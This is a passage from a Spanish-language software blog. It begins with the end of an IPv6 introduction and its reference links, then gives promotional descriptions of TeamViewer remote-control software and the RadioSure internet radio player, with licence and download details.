Y ya saben lo que nos espera, aunque la verdad, bueno en mi caso, digo que estas nuevas IP’s son muy largas, en un par de años diremos: “Ohh Demonios!, recuerdan la IPv4, aunque con muchas deficiencias pero FÁCILES DE RECORDAR , recuerdan cuando con solo ver 3 segundos la ip nos la grababamos y ahora, TODO EN HEXADECIMAL y mucho más largas, ahora recordar una IP de estas cuesta un #%@&! y la mitad del otro XD, QUE WEBA, QUEEEE WEBA !!”.
Así que prepáranse para el futuro y preparen ese cerebro para recordar las nuevas y largas IP’s .

Ahora si, me despido y para quienes quieran profundizar más sobre este téma, el cual es MUY MUY EXTENSO pueden seguir los siguientes links de algunas webs y también unos RFC’s sobre IPv6.

7.-Links

» Sitio Oficial | Web Oficial de IPv6
» Sitio Web | IPv6 en Wikipedia
» Sitio Web | Página del proyecto IPv6 de la UNAM
» Sitio Web | Descripciones fundamentales
» Sitio Web | Instalar IPv6 en Red Hat 7.3
» Sitio Web | Mucha info sobre IPv6 para Linux
» Sitio Web | Config. de router FreeBSD en IPv6
» Sitio Web | Todos los RFC’s sobre IPv6

» Fuente de referencia | NitrouS de MéxicO

Compartelo:

[?]

Introducción al Internet Protocol Versión 6 (IPv6) es un post de: ¡De todo un poco!

Compartir el escritorio y trabajar en equipo ahora es más fácil que nunca. Con TeamViewer puede comunicarse con el escritorio de un socio en cualquier punto del mundo. TeamViewer Portable está especialmente concebido para usuarios que desean establecer a menudo sesiones de control remoto desde distintos ordenadores, ya sea cuando esté de viaje o desde ordenadores de otros empleados de la empresa. TeamViewer Portable puede iniciarse directamente desde un lápiz USB o un CD y no deja en el ordenador en el que se utiliza, ninguna huella, como por ejemplo, entradas de registro o ficheros temporales.

Con TeamViewer el control remoto de ordenadores a través de Internet es un juego de niños. Realizar presentaciones remotas y demostraciones de producto, no podría ser mas fácil.
TeamViewer también funciona en sentido contrario. Muestre a sus socios por Internet su propia pantalla y presente sus soluciones de software, productos y presentaciones. TeamViewer también permite la transferencia de archivos entre los ordenadores conectados. La transferencia de archivos también funciona a través de firewalls.

TeamViewer esta disponible en varias versiones:

• Para el Supporter: Versión completa de TeamViewer
• Para los clientes inmediatos: TeamViewer QuickSupport
• Para servidores no vigilados: TeamViewer Host
• TeamViewer Web Connector (Acceso remoto basado en la web)
• Para exigencias elevadas: TeamViewer Manager

» Licencia | Gratuito(para uso privado) y de pago(para uso comercial)
» Sistema Operativo | MacOS/Windows/WebApp
» Idiomas | Chinese, Deutsch, Dutch, English, Espanol, French, Italian, Japanese, Norsk, Polish, Portuguese Portugal, Svenska, Turkish
» Sitio Oficial | TeamViewer
» Enlace de descarga | Instalable y Portable
» Enlace de descarga | Prospecto de TeamViewer
» Fuente de referencia | Mexakin-Shared

Compartelo:

[?]

TeamViewer: Control remoto de muy buena calidad y gratuito para uso privado es un post de: ¡De todo un poco!

Con RadioSure podrás disfrutar de más de 12.000 emisoras de radio de todo el mundo, con una excelente calidad de sonido. Una completísima selección de emisoras de radio, a través de streaming para que puedas disfrutar de música y contenido de cualquier rincón cómodamente desde tu ordenador. Todo un catálogo para los que disfrutan de descubrir artistas y sonidos nuevos, quizás mientras hacen en el ordenador sus tareas de todos los días.

Con un aspecto sencillo y directo, RadioSure te permite buscar radios por país, idioma o género musical. Sólo tienes que escribir lo que buscas y aparecerá en la lista de emisoras. Otra de las características más interesantes de Radio Sure es la posibilidad de grabar el audio en MP3, incluso separando las canciones en tracks individuales automáticamente. La mayoría de emisoras ofrece una calidad de recepción excelente, aunque en caso que alguna no funcione puedes cambiar la URL e incluso crear emisoras nuevas. Además, podrás grabar tracks por separado y armar tus propias listas de favoritos, como toda aplicación de música que valga la pena.

RadioSure esta disponible tambien en version portable, para aquellos que gustan llevarse la aplicación en un pendrive. Ambas versiones son completamente gratuitas y rondan los 2,5 MB. Por el momento corren únicamente para Windows XP y Vista. Ahora ya no tienes excusa para escuchar cualquier emisora de radio en el mundo.

» Licencia | FreeWare/Gratis
» Tamaño | 2,5MB
» Idiomas | Arabic, Bulgarian, Czech, Chinese Simple, Chinese Traditional, Deutsch, Dutch, English, Espanol, Estonia, French, Greece, Hungarian, Italian, Japanese, Norsk, Polish, Portuguese Brazilian, Portuguese Portugal, Romanian, Russian, Spanish, Svenska, Taiwan, Turkish, Vietnamese
» Sitio Oficial | RadioSure
» Enlace de descarga | RadioSure (Instalador y Portable)
» Enlace de descarga | Skins
» Fuente de referencia | GeoMundos